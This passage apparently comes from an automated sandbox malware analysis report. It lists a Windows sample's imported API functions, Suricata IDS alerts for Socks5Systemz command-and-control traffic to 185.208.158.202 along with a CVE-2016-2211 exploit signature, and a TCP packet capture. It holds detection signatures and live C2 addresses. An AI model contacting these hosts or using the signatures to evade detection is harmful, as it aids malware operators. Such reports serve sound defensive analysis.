advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA
kernel32.dll	WriteFile, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, Sleep, SizeofResource, SetLastError, SetFilePointer, SetErrorMode, SetEndOfFile, RemoveDirectoryA, ReadFile, LockResource, LoadResource, LoadLibraryA, IsDBCSLeadByte, GetWindowsDirectoryA, GetVersionExA, GetUserDefaultLangID, GetSystemInfo, GetSystemDefaultLCID, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeProcess, GetEnvironmentVariableA, GetCurrentProcess, GetCommandLineA, GetACP, InterlockedExchange, FormatMessageA, FindResourceA, DeleteFileA, CreateProcessA, CreateFileA, CreateDirectoryA, CloseHandle
user32.dll	TranslateMessage, SetWindowLongA, PeekMessageA, MsgWaitForMultipleObjects, MessageBoxA, LoadStringA, ExitWindowsEx, DispatchMessageA, DestroyWindow, CreateWindowExA, CallWindowProcA, CharPrevA
comctl32.dll	InitCommonControls
advapi32.dll	AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-05T02:14:14.510768+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49730	TCP
2024-11-05T02:14:49.768452+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49736	185.208.158.202	80	TCP
2024-11-05T02:14:49.768452+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49736	185.208.158.202	80	TCP
2024-11-05T02:14:52.920230+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49736	185.208.158.202	80	TCP
2024-11-05T02:14:52.920230+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49736	185.208.158.202	80	TCP
2024-11-05T02:14:53.360891+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49738	TCP
2024-11-05T02:14:53.989569+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49739	185.208.158.202	80	TCP
2024-11-05T02:14:53.989569+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49739	185.208.158.202	80	TCP
2024-11-05T02:14:55.040656+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49742	185.208.158.202	80	TCP
2024-11-05T02:14:55.040656+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49742	185.208.158.202	80	TCP
2024-11-05T02:14:56.088071+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49743	185.208.158.202	80	TCP
2024-11-05T02:14:56.088071+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49743	185.208.158.202	80	TCP
2024-11-05T02:14:57.128908+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49744	185.208.158.202	80	TCP
2024-11-05T02:14:57.128908+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49744	185.208.158.202	80	TCP
2024-11-05T02:14:57.544988+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49744	185.208.158.202	80	TCP
2024-11-05T02:14:57.544988+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49744	185.208.158.202	80	TCP
2024-11-05T02:14:58.582047+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49755	185.208.158.202	80	TCP
2024-11-05T02:14:58.582047+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49755	185.208.158.202	80	TCP
2024-11-05T02:14:58.995669+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49755	185.208.158.202	80	TCP
2024-11-05T02:14:58.995669+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49755	185.208.158.202	80	TCP
2024-11-05T02:15:00.073078+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49766	185.208.158.202	80	TCP
2024-11-05T02:15:00.073078+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49766	185.208.158.202	80	TCP
2024-11-05T02:15:01.120107+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49772	185.208.158.202	80	TCP
2024-11-05T02:15:01.120107+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49772	185.208.158.202	80	TCP
2024-11-05T02:15:02.187639+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49778	185.208.158.202	80	TCP
2024-11-05T02:15:02.187639+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49778	185.208.158.202	80	TCP
2024-11-05T02:15:03.241514+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49784	185.208.158.202	80	TCP
2024-11-05T02:15:03.241514+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49784	185.208.158.202	80	TCP
2024-11-05T02:15:04.285665+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49795	185.208.158.202	80	TCP
2024-11-05T02:15:04.285665+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49795	185.208.158.202	80	TCP
2024-11-05T02:15:05.349729+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49801	185.208.158.202	80	TCP
2024-11-05T02:15:05.349729+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49801	185.208.158.202	80	TCP
2024-11-05T02:15:05.765708+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49801	185.208.158.202	80	TCP
2024-11-05T02:15:05.765708+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49801	185.208.158.202	80	TCP
2024-11-05T02:15:07.625028+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49807	185.208.158.202	80	TCP
2024-11-05T02:15:07.625028+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49807	185.208.158.202	80	TCP
2024-11-05T02:15:08.712802+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49813	185.208.158.202	80	TCP
2024-11-05T02:15:08.712802+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49813	185.208.158.202	80	TCP
2024-11-05T02:15:09.741372+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49824	185.208.158.202	80	TCP
2024-11-05T02:15:09.741372+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49824	185.208.158.202	80	TCP
2024-11-05T02:15:10.793641+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49830	185.208.158.202	80	TCP
2024-11-05T02:15:10.793641+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49830	185.208.158.202	80	TCP
2024-11-05T02:15:11.835815+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49835	185.208.158.202	80	TCP
2024-11-05T02:15:11.835815+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49835	185.208.158.202	80	TCP
2024-11-05T02:15:12.866653+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49841	185.208.158.202	80	TCP
2024-11-05T02:15:12.866653+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49841	185.208.158.202	80	TCP
2024-11-05T02:15:13.283295+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49841	185.208.158.202	80	TCP
2024-11-05T02:15:13.283295+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49841	185.208.158.202	80	TCP
2024-11-05T02:15:14.463695+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49850	185.208.158.202	80	TCP
2024-11-05T02:15:14.463695+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49850	185.208.158.202	80	TCP
2024-11-05T02:15:15.528204+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49857	185.208.158.202	80	TCP
2024-11-05T02:15:15.528204+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49857	185.208.158.202	80	TCP
2024-11-05T02:15:16.578267+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49863	185.208.158.202	80	TCP
2024-11-05T02:15:16.578267+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49863	185.208.158.202	80	TCP
2024-11-05T02:15:17.617802+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49868	185.208.158.202	80	TCP
2024-11-05T02:15:17.617802+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49868	185.208.158.202	80	TCP
2024-11-05T02:15:18.669238+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49875	185.208.158.202	80	TCP
2024-11-05T02:15:18.669238+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49875	185.208.158.202	80	TCP
2024-11-05T02:15:19.767131+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49880	185.208.158.202	80	TCP
2024-11-05T02:15:19.767131+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49880	185.208.158.202	80	TCP
2024-11-05T02:15:20.821477+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49888	185.208.158.202	80	TCP
2024-11-05T02:15:20.821477+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49888	185.208.158.202	80	TCP
2024-11-05T02:15:21.893591+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:21.893591+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:22.318772+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:22.318772+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:22.735176+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:22.735176+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:23.162892+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:23.162892+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:23.583165+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:23.583165+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:24.001625+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:24.001625+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49894	185.208.158.202	80	TCP
2024-11-05T02:15:25.096099+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:25.096099+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:25.516612+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:25.516612+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:25.931277+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:25.931277+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49913	185.208.158.202	80	TCP
2024-11-05T02:15:27.012320+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49926	185.208.158.202	80	TCP
2024-11-05T02:15:27.012320+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49926	185.208.158.202	80	TCP
2024-11-05T02:15:28.133251+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49933	185.208.158.202	80	TCP
2024-11-05T02:15:28.133251+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49933	185.208.158.202	80	TCP
2024-11-05T02:15:29.159381+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49941	185.208.158.202	80	TCP
2024-11-05T02:15:29.159381+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49941	185.208.158.202	80	TCP
2024-11-05T02:15:29.570861+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49941	185.208.158.202	80	TCP
2024-11-05T02:15:29.570861+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49941	185.208.158.202	80	TCP
2024-11-05T02:15:30.984896+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49949	185.208.158.202	80	TCP
2024-11-05T02:15:30.984896+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49949	185.208.158.202	80	TCP
2024-11-05T02:15:32.026991+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49959	185.208.158.202	80	TCP
2024-11-05T02:15:32.026991+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49959	185.208.158.202	80	TCP
2024-11-05T02:15:33.060397+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49966	185.208.158.202	80	TCP
2024-11-05T02:15:33.060397+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49966	185.208.158.202	80	TCP
2024-11-05T02:15:34.107691+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49972	185.208.158.202	80	TCP
2024-11-05T02:15:34.107691+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49972	185.208.158.202	80	TCP
2024-11-05T02:15:35.168076+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49978	185.208.158.202	80	TCP
2024-11-05T02:15:35.168076+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49978	185.208.158.202	80	TCP
2024-11-05T02:15:36.213862+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49984	185.208.158.202	80	TCP
2024-11-05T02:15:36.213862+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49984	185.208.158.202	80	TCP
2024-11-05T02:15:37.260423+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49993	185.208.158.202	80	TCP
2024-11-05T02:15:37.260423+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49993	185.208.158.202	80	TCP
2024-11-05T02:15:38.282394+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50000	185.208.158.202	80	TCP
2024-11-05T02:15:38.282394+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50000	185.208.158.202	80	TCP
2024-11-05T02:15:38.694908+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50000	185.208.158.202	80	TCP
2024-11-05T02:15:38.694908+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50000	185.208.158.202	80	TCP
2024-11-05T02:15:39.768544+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50007	185.208.158.202	80	TCP
2024-11-05T02:15:39.768544+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50007	185.208.158.202	80	TCP
2024-11-05T02:15:40.810716+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50016	185.208.158.202	80	TCP
2024-11-05T02:15:40.810716+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50016	185.208.158.202	80	TCP
2024-11-05T02:15:41.843737+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50022	185.208.158.202	80	TCP
2024-11-05T02:15:41.843737+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50022	185.208.158.202	80	TCP
2024-11-05T02:15:42.876658+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-05T02:15:42.876658+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-05T02:15:43.296295+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-05T02:15:43.296295+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-05T02:15:44.337863+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50039	185.208.158.202	80	TCP
2024-11-05T02:15:44.337863+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50039	185.208.158.202	80	TCP
2024-11-05T02:15:45.383395+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50045	185.208.158.202	80	TCP
2024-11-05T02:15:45.383395+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50045	185.208.158.202	80	TCP
2024-11-05T02:15:46.434284+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50050	185.208.158.202	80	TCP
2024-11-05T02:15:46.434284+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50050	185.208.158.202	80	TCP
2024-11-05T02:15:47.470593+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-05T02:15:47.470593+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-05T02:15:47.885636+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-05T02:15:47.885636+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-05T02:15:48.928882+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50052	185.208.158.202	80	TCP
2024-11-05T02:15:48.928882+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50052	185.208.158.202	80	TCP
2024-11-05T02:15:49.984342+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-05T02:15:49.984342+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-05T02:15:51.054715+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-05T02:15:51.054715+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-05T02:15:52.094748+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50055	185.208.158.202	80	TCP
2024-11-05T02:15:52.094748+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50055	185.208.158.202	80	TCP
2024-11-05T02:15:53.267725+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50056	185.208.158.202	80	TCP
2024-11-05T02:15:53.267725+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50056	185.208.158.202	80	TCP
2024-11-05T02:15:54.323361+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50057	185.208.158.202	80	TCP
2024-11-05T02:15:54.323361+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50057	185.208.158.202	80	TCP
2024-11-05T02:15:55.382684+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-05T02:15:55.382684+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-05T02:15:56.434637+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50059	185.208.158.202	80	TCP
2024-11-05T02:15:56.434637+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50059	185.208.158.202	80	TCP
2024-11-05T02:15:57.845030+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50060	185.208.158.202	80	TCP
2024-11-05T02:15:57.845030+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50060	185.208.158.202	80	TCP
2024-11-05T02:15:58.911115+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50061	185.208.158.202	80	TCP
2024-11-05T02:15:58.911115+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50061	185.208.158.202	80	TCP
2024-11-05T02:15:59.952574+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50062	185.208.158.202	80	TCP
2024-11-05T02:15:59.952574+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50062	185.208.158.202	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 02:14:48.844408989 CET	49736	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:48.849268913 CET	80	49736	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:48.849371910 CET	49736	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:48.849531889 CET	49736	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:48.854433060 CET	80	49736	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:49.768349886 CET	80	49736	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:49.768363953 CET	80	49736	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:49.768451929 CET	49736	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:49.770623922 CET	49737	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:14:49.775955915 CET	2023	49737	89.105.201.183	192.168.2.4
Nov 5, 2024 02:14:49.776032925 CET	49737	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:14:49.776115894 CET	49737	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:14:49.781606913 CET	2023	49737	89.105.201.183	192.168.2.4
Nov 5, 2024 02:14:49.781672001 CET	49737	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:14:49.786978006 CET	2023	49737	89.105.201.183	192.168.2.4
Nov 5, 2024 02:14:50.592333078 CET	2023	49737	89.105.201.183	192.168.2.4
Nov 5, 2024 02:14:50.641618967 CET	49737	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:14:52.597651005 CET	49736	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:52.602544069 CET	80	49736	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:52.920176029 CET	80	49736	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:52.920229912 CET	49736	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:53.035070896 CET	49736	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:53.035378933 CET	49739	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:53.041618109 CET	80	49739	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:53.041786909 CET	49739	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:53.041950941 CET	49739	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:53.042028904 CET	80	49736	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:53.042078018 CET	49736	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:53.046664000 CET	80	49739	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:53.989474058 CET	80	49739	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:53.989487886 CET	80	49739	185.208.158.202	192.168.2.4
